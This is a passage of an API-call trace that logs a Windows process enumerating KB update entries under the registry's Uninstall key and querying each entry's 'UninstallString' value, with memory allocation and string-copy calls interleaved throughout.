hKey=0x104, dwIndex=0x49, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.267] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.267] lstrlenA (lpString="\\") returned 1 [0068.267] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.267] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.267] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.267] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.267] lstrlenA (lpString="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757") returned 48 [0068.267] LocalAlloc (uFlags=0x40, uBytes=0xe5) returned 0x626a88 [0068.267] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.267] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757" [0068.267] LocalFree (hMem=0x626e60) returned 0x0 [0068.267] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.267] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x0, lpData=0x0, lpcbData=0x12ef10*=0x0) returned 0x2 [0068.267] RegCloseKey (hKey=0x108) returned 0x0 [0068.267] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", ulOptions=0x0, samDesired=0x20219, phkResult=0x12eee8 | out: phkResult=0x12eee8*=0x108) returned 0x0 [0068.267] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eee0, lpData=0x0, lpcbData=0x12eee4*=0x12eecc | out: lpType=0x12eee0*=0x0, lpData=0x0, lpcbData=0x12eee4*=0x0) returned 0x2 [0068.267] RegCloseKey (hKey=0x108) returned 0x0 [0068.267] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", ulOptions=0x0, samDesired=0x20119, phkResult=0x12eebc | out: phkResult=0x12eebc*=0x108) returned 0x0 [0068.267] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eeb4, lpData=0x0, lpcbData=0x12eeb8*=0x12eea0 | out: lpType=0x12eeb4*=0x0, lpData=0x0, lpcbData=0x12eeb8*=0x0) returned 0x2 [0068.267] RegCloseKey (hKey=0x108) returned 0x0 [0068.267] LocalFree (hMem=0x626a88) returned 0x0 [0068.267] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x4a, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.267] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.267] lstrlenA (lpString="\\") returned 1 [0068.267] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.267] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.268] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.268] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.268] lstrlenA (lpString="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173") returned 48 [0068.268] LocalAlloc (uFlags=0x40, uBytes=0xe5) returned 0x626a88 [0068.268] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.268] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173" [0068.268] LocalFree (hMem=0x626e60) returned 0x0 [0068.268] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.268] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x0, lpData=0x0, lpcbData=0x12ef10*=0x0) returned 0x2 [0068.268] RegCloseKey (hKey=0x108) returned 0x0 [0068.268] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", ulOptions=0x0, samDesired=0x20219, phkResult=0x12eee8 | out: phkResult=0x12eee8*=0x108) returned 0x0 [0068.268] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eee0, lpData=0x0, lpcbData=0x12eee4*=0x12eecc | out: lpType=0x12eee0*=0x0, lpData=0x0, lpcbData=0x12eee4*=0x0) returned 0x2 [0068.268] RegCloseKey (hKey=0x108) returned 0x0 [0068.268] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", ulOptions=0x0, samDesired=0x20119, phkResult=0x12eebc | out: phkResult=0x12eebc*=0x108) returned 0x0 [0068.268] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eeb4, lpData=0x0, lpcbData=0x12eeb8*=0x12eea0 | out: lpType=0x12eeb4*=0x0, lpData=0x0, lpcbData=0x12eeb8*=0x0) returned 0x2 [0068.268] RegCloseKey (hKey=0x108) returned 0x0 [0068.268] LocalFree (hMem=0x626a88) returned 0x0 [0068.268] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x4b, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.268] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.268] lstrlenA (lpString="\\") returned 1 [0068.268] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.268] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.268] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.268] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.268] lstrlenA (lpString="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860") returned 48 [0068.268] LocalAlloc (uFlags=0x40, uBytes=0xe5) returned 0x626a88 [0068.268] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.268] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860" [0068.268] LocalFree (hMem=0x626e60) returned 0x0 [0068.268] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.268] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x0, lpData=0x0, lpcbData=0x12ef10*=0x0) returned 0x2 [0068.268] RegCloseKey (hKey=0x108) returned 0x0 [0068.268] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", ulOptions=0x0, samDesired=0x20219, phkResult=0x12eee8 | out: phkResult=0x12eee8*=0x108) returned 0x0 [0068.268] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eee0, lpData=0x0, lpcbData=0x12eee4*=0x12eecc | out: lpType=0x12eee0*=0x0, lpData=0x0, lpcbData=0x12eee4*=0x0) returned 0x2 [0068.268] RegCloseKey (hKey=0x108) returned 0x0 [0068.268] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", ulOptions=0x0, samDesired=0x20119, phkResult=0x12eebc | out: phkResult=0x12eebc*=0x108) returned 0x0 [0068.268] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eeb4, lpData=0x0, lpcbData=0x12eeb8*=0x12eea0 | out: lpType=0x12eeb4*=0x0, lpData=0x0, lpcbData=0x12eeb8*=0x0) returned 0x2 [0068.269] RegCloseKey (hKey=0x108) returned 0x0 [0068.269] LocalFree (hMem=0x626a88) returned 0x0 [0068.269] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x4c, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.269] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.269] lstrlenA (lpString="\\") returned 1 [0068.269] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.269] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.269] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.269] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.269] lstrlenA (lpString="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655") returned 48 [0068.269] LocalAlloc (uFlags=0x40, uBytes=0xe5) returned 0x626a88 [0068.269] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.269] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655" [0068.269] LocalFree (hMem=0x626e60) returned 0x0 [0068.269] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.269] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x0, lpData=0x0, lpcbData=0x12ef10*=0x0) returned 0x2 [0068.269] RegCloseKey (hKey=0x108) returned 0x0 [0068.269] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", ulOptions=0x0, samDesired=0x20219, phkResult=0x12eee8 | out: phkResult=0x12eee8*=0x108) returned 0x0 [0068.269] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eee0, lpData=0x0, lpcbData=0x12eee4*=0x12eecc | out: lpType=0x12eee0*=0x0, lpData=0x0, lpcbData=0x12eee4*=0x0) returned 0x2 [0068.269] RegCloseKey (hKey=0x108) returned 0x0 [0068.269] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", ulOptions=0x0, samDesired=0x20119, phkResult=0x12eebc | out: phkResult=0x12eebc*=0x108) returned 0x0 [0068.269] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eeb4, lpData=0x0, lpcbData=0x12eeb8*=0x12eea0 | out: lpType=0x12eeb4*=0x0, lpData=0x0, lpcbData=0x12eeb8*=0x0) returned 0x2 [0068.269] RegCloseKey (hKey=0x108) returned 0x0 [0068.269] LocalFree (hMem=0x626a88) returned 0x0 [0068.269] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x4d, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.269] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.269] lstrlenA (lpString="\\") returned 1 [0068.269] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.269] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.269] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.269] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.269] lstrlenA (lpString="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743") returned 48 [0068.269] LocalAlloc (uFlags=0x40, uBytes=0xe5) returned 0x626a88 [0068.269] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.269] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743" [0068.269] LocalFree (hMem=0x626e60) returned 0x0 [0068.269] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.269] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x0, lpData=0x0, lpcbData=0x12ef10*=0x0) returned 0x2 [0068.269] RegCloseKey (hKey=0x108) returned 0x0 [0068.270] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", ulOptions=0x0, samDesired=0x20219, phkResult=0x12eee8 | out: phkResult=0x12eee8*=0x108) returned 0x0 [0068.270] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eee0, lpData=0x0, lpcbData=0x12eee4*=0x12eecc | out: lpType=0x12eee0*=0x0, lpData=0x0, lpcbData=0x12eee4*=0x0) returned 0x2 [0068.270] RegCloseKey (hKey=0x108) returned 0x0 [0068.270] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", ulOptions=0x0, samDesired=0x20119, phkResult=0x12eebc | out: phkResult=0x12eebc*=0x108) returned 0x0 [0068.270] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eeb4, lpData=0x0, lpcbData=0x12eeb8*=0x12eea0 | out: lpType=0x12eeb4*=0x0, lpData=0x0, lpcbData=0x12eeb8*=0x0) returned 0x2 [0068.270] RegCloseKey (hKey=0x108) returned 0x0 [0068.270] LocalFree (hMem=0x626a88) returned 0x0 [0068.270] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x4e, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.270] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.270] lstrlenA (lpString="\\") returned 1 [0068.270] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.270] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.270] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.270] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.270] lstrlenA (lpString="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063") returned 48 [0068.270] LocalAlloc (uFlags=0x40, uBytes=0xe5) returned 0x626a88 [0068.270] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.270] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063" [0068.270] LocalFree (hMem=0x626e60) returned 0x0 [0068.270] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.270] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x0, lpData=0x0, lpcbData=0x12ef10*=0x0) returned 0x2 [0068.270] RegCloseKey (hKey=0x108) returned 0x0 [0068.270] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", ulOptions=0x0, samDesired=0x20219, phkResult=0x12eee8 | out: phkResult=0x12eee8*=0x108) returned 0x0 [0068.270] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eee0, lpData=0x0, lpcbData=0x12eee4*=0x12eecc | out: lpType=0x12eee0*=0x0, lpData=0x0, lpcbData=0x12eee4*=0x0) returned 0x2 [0068.270] RegCloseKey (hKey=0x108) returned 0x0 [0068.270] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", ulOptions=0x0, samDesired=0x20119, phkResult=0x12eebc | out: phkResult=0x12eebc*=0x108) returned 0x0 [0068.270] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eeb4, lpData=0x0, lpcbData=0x12eeb8*=0x12eea0 | out: lpType=0x12eeb4*=0x0, lpData=0x0, lpcbData=0x12eeb8*=0x0) returned 0x2 [0068.270] RegCloseKey (hKey=0x108) returned 0x0 [0068.270] LocalFree (hMem=0x626a88) returned 0x0 [0068.270] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x4f, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.270] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.270] lstrlenA (lpString="\\") returned 1 [0068.270] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.270] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.271] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.271] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.271] lstrlenA (lpString="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573") returned 47 [0068.271] LocalAlloc (uFlags=0x40, uBytes=0xe4) returned 0x626a88 [0068.271] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.271] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573" [0068.271] LocalFree (hMem=0x626e60) returned 